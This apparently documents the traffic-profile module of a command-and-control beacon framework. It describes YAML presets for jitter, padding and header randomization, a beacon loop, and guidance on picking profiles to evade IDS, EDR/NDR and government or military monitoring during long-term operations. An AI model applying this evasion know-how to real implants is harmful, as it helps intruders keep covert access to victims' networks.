Overview
Traffic profiles provide a unified configuration system that combines jitter strategies, padding ranges, and header randomization levels into named presets. This allows operators to select appropriate evasion levels without manually tuning individual parameters.
Profile System Architecture
The profile system consists of:
YAML Configuration : evasion/profile_config.yaml defines all profiles
Profile Loader : transport/traffic_profile.py parses and validates profiles
Dataclass : EvasionProfile encapsulates all evasion parameters
Cache : In-memory cache prevents repeated file reads
Profile Configuration File
Profiles are defined in evasion/profile_config.yaml:
# Specify which profile to use by default
active_profile : medium
profiles :
baseline :
jitter_pct : 0 # No timing variance
strategy : uniform
padding_min : 0 # No padding
padding_max : 0
header_level : 0 # Fixed headers
low :
jitter_pct : 10 # ±10% timing variance
strategy : uniform
padding_min : 0
padding_max : 64 # Up to 64 bytes padding
header_level : 1 # User-Agent rotation
medium :
jitter_pct : 20 # ±20% timing variance
strategy : uniform
padding_min : 0
padding_max : 128 # Up to 128 bytes padding
header_level : 2 # UA + Accept-Language rotation
high :
jitter_pct : 40 # ±40% timing variance
strategy : gaussian # Natural bell-curve distribution
padding_min : 64 # Minimum 64 bytes padding
padding_max : 256 # Up to 256 bytes padding
header_level : 3 # Full header randomization + shuffling
Configuration Fields
Beacon interval variance as percentage of base interval (0 = no jitter) Valid range : 0-100 (higher = more variance)
Jitter distribution algorithm Valid values : uniform, gaussian
Minimum random padding bytes appended to each beacon payload Valid range : 0-65535 (must be ≤ padding_max)
Maximum random padding bytes appended to each beacon payload Valid range : 0-65535 (must be ≥ padding_min)
HTTP header randomization level Valid values : 0 (none), 1 (UA only), 2 (+Accept), 3 (full set)
EvasionProfile Dataclass
Profiles are loaded into a typed dataclass:
# Source: transport/traffic_profile.py:17-24
@dataclass
class EvasionProfile :
name: str # Profile name (e.g., "medium")
jitter_pct: int # Jitter percentage
jitter_strategy: str # "uniform" or "gaussian"
padding_min: int # Minimum padding bytes
padding_max: int # Maximum padding bytes
header_level: int # Header randomization level (0-3)
Benefits :
Type safety and IDE autocomplete
Validation at load time
Immutable configuration (frozen dataclass)
Clear field documentation
Loading Profiles
The framework provides two loading functions:
load_profile(name: str)
Load a specific profile by name:
# Source: transport/traffic_profile.py:72-99
from transport.traffic_profile import load_profile
# Load specific profile
profile = load_profile( 'high' )
print ( f "Profile: { profile.name } " )
print ( f "Jitter: { profile.jitter_pct } % ( { profile.jitter_strategy } )" )
print ( f "Padding: { profile.padding_min } - { profile.padding_max } bytes" )
print ( f "Header level: { profile.header_level } " )
# Output:
# Profile: high
# Jitter: 40% (gaussian)
# Padding: 64-256 bytes
# Header level: 3
Error Handling :
try :
profile = load_profile( 'nonexistent' )
except ValueError as e:
print (e)
# profile "nonexistent" not found in profile_config.yaml.
# Available profiles: ['baseline', 'low', 'medium', 'high']
load_active_profile()
Load whichever profile is set as active_profile in the YAML:
# Source: transport/traffic_profile.py:102-110
from transport.traffic_profile import load_active_profile
# Load the active profile (medium by default)
profile = load_active_profile()
print ( f "Using active profile: { profile.name } " )
# Output: Using active profile: medium
Recommended : Use load_active_profile() in production code to allow operators to change profiles by editing the YAML without code changes.
Profile Caching
The profile loader implements an in-memory cache:
# Source: transport/traffic_profile.py:12-13
_cache: dict[ str , 'EvasionProfile' ] = {} # module-level cache
_raw: dict = {} # cached raw YAML content
Benefits :
Avoids repeated file I/O
Ensures consistent profile across multiple loads
Negligible memory footprint
# First load reads from disk
p1 = load_profile( 'medium' )
# Second load returns cached object (same object reference)
p2 = load_profile( 'medium' )
assert p1 is p2 # Same object in memory
Profile Validation
The loader validates configuration at load time:
Strategy Validation
# Source: transport/traffic_profile.py:49-53
if strategy not in VALID_STRATEGIES :
raise ValueError (
f "invalid strategy ' { strategy } ' in profile ' { name } '. "
f "Valid strategies: { VALID_STRATEGIES } "
)
Valid strategies : uniform, gaussian
Padding Range Validation
# Source: transport/traffic_profile.py:55-59
if padding_min > padding_max:
raise ValueError (
f "padding_min ( { padding_min } ) cannot exceed padding_max ( { padding_max } ) "
f "in profile ' { name } '"
)
Ensures min ≤ max to prevent runtime errors.
Missing Active Profile
if not active_name:
raise ValueError ( 'active_profile field missing from profile_config.yaml' )
Built-in Profiles
The framework includes four pre-configured profiles:
baseline :
jitter_pct : 0
strategy : uniform
padding_min : 0
padding_max : 0
header_level : 0
Evasion Characteristics :
No timing variance (fixed intervals)
No payload padding (2-byte header only)
Static headers (fixed Chrome UA)
Network Overhead : Minimal (2 bytes per beacon)Use Case : Testing, debugging, controlled environmentsDetection Risk : ⚠️ Highlow :
jitter_pct : 10
strategy : uniform
padding_min : 0
padding_max : 64
header_level : 1
Evasion Characteristics :
±10% timing variance (uniform distribution)
0-64 bytes random padding per request
User-Agent rotation (4 browser options)
Network Overhead : ~34 bytes average per beaconUse Case : Low-risk networks, bandwidth-constrained environmentsDetection Risk : ⚠️ Mediummedium :
jitter_pct : 20
strategy : uniform
padding_min : 0
padding_max : 128
header_level : 2
Evasion Characteristics :
±20% timing variance (uniform distribution)
0-128 bytes random padding per request
UA + Accept-Language rotation (28 combinations)
Network Overhead : ~66 bytes average per beaconUse Case : Standard operations, corporate networksDetection Risk : ⚠️ Low-MediumDefault Profile : Medium provides balanced stealth and performance for most scenarios.
high :
jitter_pct : 40
strategy : gaussian
padding_min : 64
padding_max : 256
header_level : 3
Evasion Characteristics :
±40% timing variance (gaussian bell-curve)
64-256 bytes guaranteed padding per request
Full header randomization + order shuffling (252 combinations)
Network Overhead : ~162 bytes average per beaconUse Case : High-security environments, advanced threat detection presentDetection Risk : ✓ Low
Usage in Beacon Implementation
Typical beacon initialization:
from transport.traffic_profile import load_active_profile
from evasion.sleep_strat import get_sleep_fn
from evasion.padding_strat import pad
from evasion.header_randomizer import get_headers
import time
# Load profile once at startup
profile = load_active_profile()
sleep_fn = get_sleep_fn(profile.jitter_strategy)
BEACON_INTERVAL_S = 30.0
def beacon_loop ():
while True :
# 1. Prepare beacon message
message = create_beacon_message()
# 2. Apply padding based on profile
padded_message = pad(
message,
profile.padding_min,
profile.padding_max
)
# 3. Generate randomized headers based on profile
headers = get_headers(profile.header_level)
# 4. Send beacon
send_beacon(padded_message, headers)
# 5. Sleep with jitter based on profile
sleep_duration = sleep_fn( BEACON_INTERVAL_S , profile.jitter_pct)
time.sleep(sleep_duration)
Creating Custom Profiles
Add new profiles by editing profile_config.yaml:
profiles :
# ... existing profiles ...
custom_stealth :
jitter_pct : 30 # Custom jitter level
strategy : gaussian # Use natural bell-curve
padding_min : 128 # Always at least 128 bytes
padding_max : 512 # Up to 512 bytes
header_level : 3 # Maximum header randomization
Then load it:
profile = load_profile( 'custom_stealth' )
Configuration Changes : Modifications to profile_config.yaml require application restart to take effect (due to caching).
Profile Selection Guidelines
Assess Target Environment
Identify security controls present:
Basic logging only → low or medium
IDS/IPS deployed → medium or high
Advanced EDR/NDR → high
Government/military → high + custom adjustments
Evaluate Bandwidth Constraints
Consider network limitations:
Unrestricted bandwidth → Use high for maximum stealth
Limited bandwidth → Use low or medium to reduce overhead
Metered connection → Consider custom profile with lower padding_max
Consider Operation Duration
Long-term operations require stronger evasion:
Short-term (hours) → medium acceptable
Medium-term (days) → high recommended
Long-term (weeks+) → high + periodic profile rotation
Test Profile Performance
Validate beacon reliability: # Test connectivity with selected profile
profile = load_profile( 'high' )
for i in range ( 10 ):
success = test_beacon(profile)
print ( f "Beacon { i + 1 } : { '✓' if success else '✗' } " )
Operational Security
Profile Consistency
Avoid Mid-Operation Profile Changes : Switching profiles during an active operation may create detectable pattern shifts. Select the appropriate profile before deployment and maintain it throughout.
Example of detectable profile change:
00:00-02:00 medium profile (20% jitter, 0-128 byte padding)
02:00-04:00 high profile (40% jitter, 64-256 byte padding)
↑ Sudden change in traffic patterns may trigger alerts
Profile Logging
The loader logs profile selection for audit trails:
# Source: transport/traffic_profile.py:90-97
logger.info( 'profile loaded' , extra = {
'profile' : name,
'jitter_pct' : profile.jitter_pct,
'jitter_strategy' : profile.jitter_strategy,
'padding_min' : profile.padding_min,
'padding_max' : profile.padding_max,
'header_level' : profile.header_level,
})
Log Output :
{
"timestamp" : "2026-03-11T10:23:45Z" ,
"level" : "INFO" ,
"message" : "profile loaded" ,
"profile" : "high" ,
"jitter_pct" : 40 ,
"jitter_strategy" : "gaussian" ,
"padding_min" : 64 ,
"padding_max" : 256 ,
"header_level" : 3
}
Profile Load Time
import time
start = time.time()
profile = load_profile( 'high' )
elapsed = time.time() - start
print ( f "Load time: { elapsed * 1000 :.2f} ms" )
# Output: Load time: 0.23ms (first load)
# Output: Load time: 0.001ms (cached)
First Load : Approximately 0.2-0.5ms (YAML parsing)
Cached Load : Less than 0.01ms (dictionary lookup)
Runtime Overhead by Profile
Profile Jitter CPU Padding CPU Header CPU Network Overhead baseline Negligible Negligible Negligible +2 bytes low Negligible Negligible Negligible ~+34 bytes medium Negligible Negligible Negligible ~+66 bytes high Negligible Negligible Negligible ~+162 bytes
All evasion operations are stateless and use simple algorithms (random number generation, array shuffling). CPU and memory overhead is negligible even at high request rates.
Testing Profiles
Validate All Profiles Load
from transport.traffic_profile import load_profile
for name in [ 'baseline' , 'low' , 'medium' , 'high' ]:
profile = load_profile(name)
assert profile.name == name
assert profile.padding_min <= profile.padding_max
assert profile.jitter_strategy in ( 'uniform' , 'gaussian' )
assert 0 <= profile.header_level <= 3
print ( f "✓ Profile ' { name } ' valid" )
Verify Active Profile
from transport.traffic_profile import load_active_profile
active = load_active_profile()
print ( f "Active profile: { active.name } " )
assert active.name == 'medium' # Default per YAML
Profile Comparison
# Compare evasion strength across profiles
profiles = [ 'baseline' , 'low' , 'medium' , 'high' ]
for name in profiles:
p = load_profile(name)
# Calculate evasion score (arbitrary metric)
score = (
p.jitter_pct + # Timing variance
(p.padding_max / 10 ) + # Padding strength
(p.header_level * 10 ) # Header diversity
)
print ( f " { name :10} - Evasion Score: { score :.1f} " )
# Output:
# baseline - Evasion Score: 0.0
# low - Evasion Score: 26.4
# medium - Evasion Score: 52.8
# high - Evasion Score: 95.6
Troubleshooting
ValueError: profile not found
Error :ValueError: profile "production" not found in profile_config.yaml.
Available profiles: ['baseline', 'low', 'medium', 'high']
Cause : Requested profile name doesn’t exist in YAMLFix : Add the profile to profile_config.yaml or use an existing profile name
ValueError: invalid strategy
Error :ValueError: invalid strategy 'random_walk' in profile 'custom'.
Valid strategies: ('uniform', 'gaussian')
Cause : Profile specifies unsupported jitter strategyFix : Use uniform or gaussian in the strategy field
ValueError: padding_min > padding_max
Error :ValueError: padding_min (256) cannot exceed padding_max (128) in profile 'broken'
Cause : Invalid padding range configurationFix : Ensure padding_min ≤ padding_max in YAML
FileNotFoundError: profile_config.yaml
Error :FileNotFoundError: profile_config.yaml not found at /path/to/evasion/profile_config.yaml
Cause : Config file missing or incorrect pathFix : Verify profile_config.yaml exists in evasion/ directory
Jitter Strategies Deep dive into jitter_pct and strategy fields
Traffic Padding Understand padding_min and padding_max
Header Randomization Learn about header_level options (0-3)